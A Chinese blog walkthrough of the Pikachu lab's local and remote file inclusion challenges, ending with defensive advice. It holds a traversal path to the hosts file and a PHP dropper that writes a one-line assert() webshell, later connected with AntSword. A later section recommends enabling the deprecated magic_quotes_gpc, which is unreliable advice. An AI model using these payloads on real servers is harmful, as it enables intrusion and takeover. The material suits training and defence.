flie inclusion 文件包含

目录

 

概述

php语言中的文件包含函数

分类

PIKACHU--Fiel inclusion(local)

分析源码

PIAKCHU--file inclusion(remote)

尝试直接包含木马

源码分析

总结


概述

在各种开发语言中都内置了文件包含函数,本意是有助于开发人员的效率以及代码的整洁,但有些时候包含的代码文件被写成变量且可以被前端用户传递进来的时候就产生了风险。

php语言中的文件包含函数

  • include()
    • 在发生错误时会生成警告(E_WARNING),继续执行
  • require()
    • 在发生错误时会报错(E_COMPLE_ERROR)并停止执行

分类

  • 本地文件执行
    • 威胁较小,主要是读取一些系统的敏感文件
  • 远程文件执行
    • 威胁巨大,攻击者可以传入任意代码

PIKACHU--Fiel inclusion(local)

首先有选项我们先挨个点一下看有没有什么反应

根据不同的选项弹出不同球星的简洁,好像也没有什么不一样,看url

看到url是有文件的,很可能存在文件包含漏洞。然后我又重新点了一遍观察到五个选项对应五个文件分别是file1.php-file5php

用目录跳转的方式进行测试,由于这是我们自己搭的平台所以就直接用windows下的系统文件进行测试(如果是不知道的话就先用windows试一下不行再用linux 的系统文件路径尝试嘛)

把文件名的位置替换为

../../../../Windows/System32/drivers/etc/hosts
######
这个文件路径并不固定,只要是windows下存在的系统文件路径即可,多个../的目的也是先跳转到根目录下

还有就是当我们看到有文件存在的时候可以稍微扩展一下思路,既然存在5个文件那么会不会存在更多的文件,既然这5个文件的格式都一样那么会不会别的文件的格式也跟这5个差不多会不会也是数字的延续。我们可以用burpsuit抓个包尝试去爆破一下。

写了一个6-30的字典加载进去

 

爆出一个file6.php里面有两个账号和密码,剩下的两个虽然没有爆出东西,但是通过报错我们已经直到文件的路径,

分析源码

PIAKCHU--file inclusion(remote)

首先更改一下配置

在phpstudy面板->其他菜单选项->PHP扩展及设置—>参数开关设置就可以找到这个选项啦

有了上一题的经验,我们点击选项的时候时刻注意url有什么变化,看到这边虽然也是文件但是多了一个include函数

尝试直接包含木马

服务器:192.168.179.138

攻击者:192.168.179.1

攻击机写一个木马文件放在phpstudy的www目录下,让服务器可以访问的到(我们还是用phpstudy环境比较方便)文件名为yijuhua.txt

<?php
fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>')

?>

把url中的文件名替换为木马的文件路径,并且页面没有什么异常

但是这个时候我们去查看/pikachu/vul/fileinclude/目录

这边是已经生成了以和名为shell.php的木马文件

用蚁剑连接

url是木马文件的具体位置,连接密码是一句话木马写入的

源码分析

跟上面一样还是直接传参没有任何过滤措施

总结

分享一个知识点,PHP文件不过文件后缀是什么,只要包含PHP代码就可以被当成PHP来执行。

通过两个实验我们可以大概了解到一些攻击思路,同时也会想到一些防范措施:比如说要尽量减少文件包含函数被前端操作,对一些特殊符号如 ../ ../等过滤,配置php.ini文件时allow_url_fopen、allow_url_include、magic_quotes_gpc涉及到这三个参数时要谨慎使用,尽量不要开放权限,最后就是设置一个白名单只允许包含运行指定的文件,其他的一律禁止

 

 

### 文件上传与文件包含漏洞利用及防御 在处理像Pikachu靶场中的文件上传和文件包含漏洞时,理解这些漏洞的工作原理及其潜在风险至关重要。当应用程序允许用户上传文件并随后尝试动态加载或解析这些文件作为代码的一部分时,就会发生此类漏洞。 #### 漏洞利用实例 假设存在一个PHP应用,其中有一个用于展示不同页面布局的功能,此功能接受来自用户的输入来决定要显示哪个模板文件: ```php <?php // 不安全的做法 $filename = $_GET['page']; include($filename . '.php'); ?> ``` 如果`$_GET['page']`未经过适当验证就被直接使用于`include()`语句中,则攻击者可以通过精心构造请求参数注入恶意路径或URL,进而触发本地或远程文件包含攻击[^1]。 对于文件上传结合文件包含的情况,通常涉及两个主要方面: - 用户提交带有特定扩展名(如`.php`)的文件到服务器; - 应用程序未能正确区分正常图片或其他类型的文件与可执行脚本之间的差异,并错误地将其视为合法资源进行处理。 例如,在某些情况下,即使上传的是图像文件,但如果其实际内容为PHP代码片段,一旦被不当包含,就能被执行。 #### 安全防护建议 为了防止上述提到的安全隐患,应当采取以下措施加强保护机制: - **严格校验文件类型**:不仅依赖MIME类型判断,还应基于文件头信息进一步确认文件的真实性质。 - **限定存储位置**:确保所有上传的数据都被保存在一个独立且受控的位置之外,远离Web根目录,避免意外访问。 - **禁用危险设置**:修改`php.ini`配置项,关闭不必要的选项,比如`allow_url_fopen=Off` 和 `allow_url_include=Off` ,阻止从外部源获取数据的可能性[^2]。 - **实施白名单策略**:只允许预定义列表内的文件名称或模式参与动态加载过程;拒绝一切不在范围之内的请求。 - **启用魔术引号GPC (Magic Quotes GPC)** :虽然现代版本已弃用了这一特性,但在较旧环境中开启它可以自动转义特殊字符,减少SQL注入和其他形式的字符串插值攻击的风险。 综上所述,针对Pikachu靶场所模拟的实际应用场景,开发者应该始终遵循最小权限原则设计API接口逻辑,同时配合有效的输入输出净化手段以及合理的架构规划共同构建起坚固防线抵御各类网络威胁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值